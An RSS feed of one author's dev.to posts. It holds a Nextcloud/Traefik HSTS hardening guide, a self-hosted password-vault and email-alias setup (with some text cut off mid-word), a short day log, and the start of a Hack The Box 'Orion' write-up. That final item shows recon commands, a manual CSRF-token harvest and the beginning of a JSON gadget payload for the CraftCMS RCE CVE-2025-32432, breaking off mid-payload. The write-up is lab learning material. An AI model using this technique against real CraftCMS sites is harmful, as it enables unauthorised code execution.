<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: PyHackSecGP</title>
    <description>The latest articles on DEV Community by PyHackSecGP (@pyhacksecgp).</description>
    <link>https://dev.to/pyhacksecgp</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4005942%2Ff7fbe727-bc64-4fe8-9a8b-58543404bfb7.png</url>
      <title>DEV Community: PyHackSecGP</title>
      <link>https://dev.to/pyhacksecgp</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/pyhacksecgp"/>
    <language>en</language>
    <item>
      <title>Homelab Day: Nextcloud + Traefik + HSTS Headers That Actually Work</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Tue, 11 Aug 2026 01:09:21 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/homelab-day-nextcloud-traefik-hsts-headers-that-actually-work-4cb3</link>
      <guid>https://dev.to/pyhacksecgp/homelab-day-nextcloud-traefik-hsts-headers-that-actually-work-4cb3</guid>
      <description>&lt;p&gt;I spent part of today getting Nextcloud properly hardened behind Traefik + Cloudflare tunnel. Seemed simple. Two gotchas nearly wasted an hour.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nextcloud 29&lt;/strong&gt; in Docker on a Proxmox LXC&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Traefik v3&lt;/strong&gt; as reverse proxy (separate LXC)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloudflare Tunnel&lt;/strong&gt; for public access — no open inbound ports&lt;/li&gt;
&lt;li&gt;Domain: &lt;code&gt;cloud.example.com&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Problem 1: Nextcloud Doesn't Know the Real Client IP
&lt;/h2&gt;

&lt;p&gt;Out of the box, Nextcloud sees Traefik's IP as every client's IP. This breaks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Brute force protection (bans your proxy instead of attackers)&lt;/li&gt;
&lt;li&gt;Rate limiting&lt;/li&gt;
&lt;li&gt;Admin logs (every request looks like it's from the same IP)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fix — set trusted proxies via &lt;code&gt;occ&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set trusted_proxies 0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.x  &lt;span class="c"&gt;# your Traefik IP&lt;/span&gt;

&lt;span class="c"&gt;# If you use Cloudflare Tunnel, add all Cloudflare CIDRs too:&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set trusted_proxies 1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;173.245.48.0/20
&lt;span class="c"&gt;# ... (repeat for all Cloudflare CIDRs from cloudflare.com/ips)&lt;/span&gt;

docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set forwarded_for_headers 0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;HTTP_X_FORWARDED_FOR
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the &lt;code&gt;-u 33&lt;/code&gt; — run as &lt;code&gt;www-data&lt;/code&gt;, not root, or occ refuses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem 2: HSTS Headers Disappear Through Cloudflare Tunnel
&lt;/h2&gt;

&lt;p&gt;Traefik has a built-in &lt;code&gt;stsSeconds&lt;/code&gt; middleware:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;middlewares&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;default-headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;browserXssFilter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;contentTypeNosniff&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;stsSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;31536000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; send &lt;code&gt;Strict-Transport-Security&lt;/code&gt;. It does — when traffic hits Traefik directly. But through Cloudflare Tunnel, Cloudflare terminates TLS before your Traefik sees it. Traefik receives HTTP from the tunnel daemon, so it treats the connection as non-HTTPS and suppresses STS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Force it as an explicit custom response header instead of relying on &lt;code&gt;stsSeconds&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;middlewares&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;default-headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;browserXssFilter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;contentTypeNosniff&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;stsSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;31536000&lt;/span&gt;
      &lt;span class="na"&gt;stsIncludeSubdomains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;customResponseHeaders&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max-age=31536000;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;includeSubDomains;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;preload"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then apply the middleware to your Nextcloud router:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;routers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;nextcloud-https&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;entryPoints&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;websecure&lt;/span&gt;
    &lt;span class="na"&gt;middlewares&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;default-headers&lt;/span&gt;
    &lt;span class="na"&gt;rule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Host(`cloud.example.com`)&lt;/span&gt;
    &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nextcloud&lt;/span&gt;
    &lt;span class="na"&gt;tls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;certResolver&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cloudflare&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Traefik hot-reloads dynamic config — no restart needed. Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://cloud.example.com/login | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; strict
&lt;span class="c"&gt;# strict-transport-security: max-age=31536000; includeSubDomains; preload ✓&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Other Warnings to Clear
&lt;/h2&gt;

&lt;p&gt;Run &lt;code&gt;occ setupchecks&lt;/code&gt; to audit everything. Common ones:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maintenance window not set&lt;/strong&gt; — without this, heavy background jobs run during your peak hours:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set &lt;span class="se"&gt;\&lt;/span&gt;
  maintenance_window_start &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;integer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;No default phone region&lt;/strong&gt; — affects phone number validation in profiles:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ config:system:set &lt;span class="se"&gt;\&lt;/span&gt;
  default_phone_region &lt;span class="nt"&gt;--value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Installing Apps via CLI
&lt;/h2&gt;

&lt;p&gt;Skip the web UI for bulk installs. &lt;code&gt;occ app:install&lt;/code&gt; pulls from the Nextcloud app store directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install calendar
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install contacts
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install notes
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install tasks
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install deck      &lt;span class="c"&gt;# Kanban boards&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:install spreed    &lt;span class="c"&gt;# Talk/video&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 33 nextcloud php occ app:enable bruteforcesettings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each installs and enables in one step. Much faster than clicking through Settings → Apps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Security Header Check
&lt;/h2&gt;

&lt;p&gt;After all of the above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://cloud.example.com/login 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"strict|x-content|x-frame|x-xss"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Set &lt;code&gt;trusted_proxies&lt;/code&gt; + &lt;code&gt;forwarded_for_headers&lt;/code&gt; via occ — critical if you're behind any proxy&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;stsSeconds&lt;/code&gt; alone won't work through Cloudflare Tunnel — use &lt;code&gt;customResponseHeaders&lt;/code&gt; to force HSTS&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;occ app:install&lt;/code&gt; beats the web UI for batch app installs&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;occ setupchecks&lt;/code&gt; — it tells you exactly what's wrong&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Nextcloud's occ CLI does most heavy lifting without ever touching the admin UI. Once you're comfortable with it, setup goes fast.&lt;/p&gt;

</description>
      <category>homelab</category>
      <category>selfhosted</category>
      <category>nextcloud</category>
      <category>traefik</category>
    </item>
    <item>
      <title>I Replaced Proton Pass with a Self-Hosted Password Manager + Private Email Aliases</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Mon, 10 Aug 2026 03:41:00 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/i-replaced-proton-pass-with-a-self-hosted-password-manager-private-email-aliases-3b60</link>
      <guid>https://dev.to/pyhacksecgp/i-replaced-proton-pass-with-a-self-hosted-password-manager-private-email-aliases-3b60</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Why I wrote this: Every "privacy guide" online ends with "use a password manager." None of them tell you what to do when your email address itself is the breach vector. This is how I fixed both.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Problem Nobody Talks About
&lt;/h2&gt;

&lt;p&gt;Every breach notification I've ever received had one thing in common: &lt;strong&gt;my real email address was in the dump.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Password reuse is the obvious villain — but your email address is the silent one. It's your username on 40 sites. It's how attackers correlate your accounts across breaches. It's permanent.&lt;/p&gt;

&lt;p&gt;I wanted a setup where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every new account gets a &lt;strong&gt;unique alias&lt;/strong&gt; that routes to my real inbox&lt;/li&gt;
&lt;li&gt;Every new account gets a &lt;strong&gt;unique password&lt;/strong&gt; generat&lt;/li&gt;
&lt;li&gt;Nothing is stored on someone else's server&lt;/li&gt;
&lt;li&gt;The whole thing costs &lt;strong&gt;under $5/month&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's what I built.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Password vault&lt;/td&gt;
&lt;td&gt;Vaultwarden (self-hosted)&lt;/td&gt;
&lt;td&gt;~$0 (ru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email aliasing&lt;/td&gt;
&lt;td&gt;Addy.io&lt;/td&gt;
&lt;td&gt;~$1/month (Lite plan)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Custom domain&lt;/td&gt;
&lt;td&gt;Your registrar&lt;/td&gt;
&lt;td&gt;~$1-2/month amortiz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email receiving&lt;/td&gt;
&lt;td&gt;Proton Mail&lt;/td&gt;
&lt;td&gt;Free tier&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;

&lt;p&gt;New signup →&lt;br&gt;
  Bitwarden browser extension generates alias via Addy&lt;br&gt;
  Bitwarden generates unique password&lt;br&gt;
  Alias routes: &lt;a href="mailto:yourname+shop123@yourdomain.com"&gt;yourname+shop123@yourdomain.com&lt;/a&gt; → secr&lt;br&gt;
  You never expose your real address&lt;/p&gt;

&lt;p&gt;Every account gets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A unique alias (&lt;code&gt;adjective-noun-1234@yourdomain.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A unique 20+ char password&lt;/li&gt;
&lt;li&gt;Zero connection to your real email&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1 — Set Up Addy.io with a Custom Domain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Register a cheap domain (&lt;code&gt;.com&lt;/code&gt; works, &lt;code&gt;.io&lt;/code&gt; is ove&lt;/li&gt;
&lt;li&gt;Add it to Addy.io as a custom domain&lt;/li&gt;
&lt;li&gt;Point the domain's MX records to Addy.io's mail ser&lt;/li&gt;
&lt;li&gt;Add SPF, DKIM, and DMARC records for email authentication&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The DNS records matter. Without DMARC enforcement, your aliases can be spoofed. Set &lt;code&gt;p=quarantine&lt;/code&gt; initially, then move to &lt;code&gt;p=reject&lt;/code&gt; once&lt;br&gt;
you confirm legitimate mail flows correctly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 — Configure the Catch-All
&lt;/h2&gt;

&lt;p&gt;In Addy.io, enable a &lt;strong&gt;catch-all&lt;/strong&gt; on your custom doma&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;anything@yourdomain.com&lt;/code&gt; routes to your Proton inbo&lt;/li&gt;
&lt;li&gt;You don't need to pre-create aliases — just use &lt;code&gt;shop-name@yourdomain.com&lt;/code&gt; and it works immediately&lt;/li&gt;
&lt;li&gt;You can block or delete any alias that starts gettin&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Set your catch-all recipient to a **dedicated Proton i Keep the real address completely out of the loop.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — Connect Bitwarden to Addy.io
&lt;/h2&gt;

&lt;p&gt;In Bitwarden (or Vaultwarden) settings:&lt;/p&gt;

&lt;p&gt;`Settings → Generator → Username generator → Forwarded&lt;/p&gt;

&lt;p&gt;Paste your Addy.io API key. Set your custom domain.&lt;/p&gt;

&lt;p&gt;Now when you create a new login in Bitwarden, hit the he username field — it calls the Addy.io API, creates areal alias on the fly, and populates the field. No copy-paste. No manual alias creation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 — Self-Host Vaultwarden
&lt;/h2&gt;

&lt;p&gt;Vaultwarden is an open-source Bitwarden-compatible server. Docker Compose setup:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`yaml&lt;br&gt;
services:&lt;br&gt;
  vaultwarden:&lt;br&gt;
    image: vaultwarden/server:latest&lt;br&gt;
    restart: unless-stopped&lt;br&gt;
    environment:&lt;br&gt;
      DOMAIN: "&lt;a href="https://vault.yourdomain.com" rel="noopener noreferrer"&gt;https://vault.yourdomain.com&lt;/a&gt;"&lt;br&gt;
      SIGNUPS_ALLOWED: "false"&lt;br&gt;
    volumes:&lt;br&gt;
      - ./vw-data:/data&lt;/p&gt;

&lt;p&gt;Put it behind a reverse proxy (Traefik, Caddy, or nginowser extension connects to it identically to the cloudversion.&lt;/p&gt;




&lt;p&gt;What I Got&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Alias per site — when &lt;a href="mailto:shop-abc123@yourdomain.com"&gt;shop-abc123@yourdomain.com&lt;/a&gt; getich site sold my data&lt;/li&gt;
&lt;li&gt;Zero email exposure — my real address doesn't exist in any vendor's DB&lt;/li&gt;
&lt;li&gt;Auto-generation — alias + password created in one cl&lt;/li&gt;
&lt;li&gt;Full self-hosted control — vault on my hardware, no subscription for the vault itself&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cost breakdown:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Domain: ~$15/year&lt;/li&gt;
&lt;li&gt;Addy.io Lite: $12/year&lt;/li&gt;
&lt;li&gt;Vaultwarden: $0 (already running homelab)&lt;/li&gt;
&lt;li&gt;Total: ~$27/year (~$2.25/month)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;What Would You Add?&lt;/p&gt;

&lt;p&gt;I'm debating two upgrades:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Webhook on new alias creation → log to my SIEM for&lt;/li&gt;
&lt;li&gt;Auto-disable aliases that receive breach notification emails&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;What's your aliasing/vault setup? Running something similar, or a totally different approach? Drop it in the comments — genuinely curious&lt;br&gt;
what the tradeoffs look like for different threat mode&lt;/p&gt;




&lt;p&gt;Running a homelab-first security stack. Posts on practical defensive security, self-hosting, and building tools that actually get used.&lt;/p&gt;




</description>
      <category>security</category>
      <category>selfhosted</category>
      <category>privacy</category>
      <category>homelab</category>
    </item>
    <item>
      <title>Day Log — 2026-08-09</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sun, 09 Aug 2026 14:58:07 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/day-log-2026-08-09-8oh</link>
      <guid>https://dev.to/pyhacksecgp/day-log-2026-08-09-8oh</guid>
      <description>&lt;h2&gt;
  
  
  Day Log — 2026-08-09
&lt;/h2&gt;

&lt;p&gt;Infrastructure day — not the glamorous kind, but the kind that makes everything else possible. Spent time verifying the self-hosted Git push pipeline rather than shipping features.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;75hard-tracker&lt;/strong&gt; — Tested and verified the Forgejo push pipeline end-to-end, then cleaned up the test artifact left behind. Matters because self-hosted Git is a real-world skill: organizations run private Gitea/Forgejo instances constantly, and knowing how to debug push hooks, verify remote connectivity, and keep repos clean translates directly to DevSecOps work. The problem it solved: I needed confidence the pipeline actually worked before trusting it with real project history.&lt;/p&gt;

&lt;p&gt;Not a flashy day, but pipeline reliability is the unsexy foundation under every security automation project. A broken push pipeline means broken CI, broken deployment, and eventually broken trust in your tooling.&lt;/p&gt;

&lt;p&gt;Next up: start committing actual 75hard-tracker feature code now that the push plumbing is confirmed solid. Lesson today — always verify infrastructure end-to-end before building on it, not after.&lt;/p&gt;

&lt;p&gt;tags: security, devlog, homelab, opensource&lt;/p&gt;

</description>
      <category>security</category>
      <category>devlog</category>
      <category>homelab</category>
      <category>opensource</category>
    </item>
    <item>
      <title>HTB Orion — CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sun, 26 Jul 2026 01:05:25 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/htb-orion-craftcms-rce-a-reverse-shell-that-wouldnt-connect-and-a-telnetd-auth-bypass-4nj2</link>
      <guid>https://dev.to/pyhacksecgp/htb-orion-craftcms-rce-a-reverse-shell-that-wouldnt-connect-and-a-telnetd-auth-bypass-4nj2</guid>
      <description>&lt;h1&gt;
  
  
  HTB Orion — Writeup
&lt;/h1&gt;

&lt;p&gt;Orion is rated "Very Easy" on Hack The Box, but the path to root turned into a genuinely useful debugging exercise — less about the exploit chain itself and more about what happens when your tooling fights you. This is a writeup of my own run at it, including the parts that didn't go according to plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Standard start:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; 10.129.69.96
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"10.129.69.96 orion.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin → /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16.&lt;/p&gt;

&lt;p&gt;That version is vulnerable to CVE-2025-32432 — an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual CSRF Bypass (the interesting part)
&lt;/h2&gt;

&lt;p&gt;The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.&lt;/p&gt;

&lt;p&gt;Craft/Yii ties CSRF validation to session state, so you need three things from the same session:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CraftSessionId cookie&lt;/li&gt;
&lt;li&gt;CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)&lt;/li&gt;
&lt;li&gt;the actual csrfTokenValue, embedded in the login page's HTML/JS
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://orion.htb/admin/login &lt;span class="nt"&gt;-o&lt;/span&gt; login.html
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'csrfTokenValue[^,]*'&lt;/span&gt; login.html
&lt;span class="nb"&gt;cat &lt;/span&gt;cookies.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"assetId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"handle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"width"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"height"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
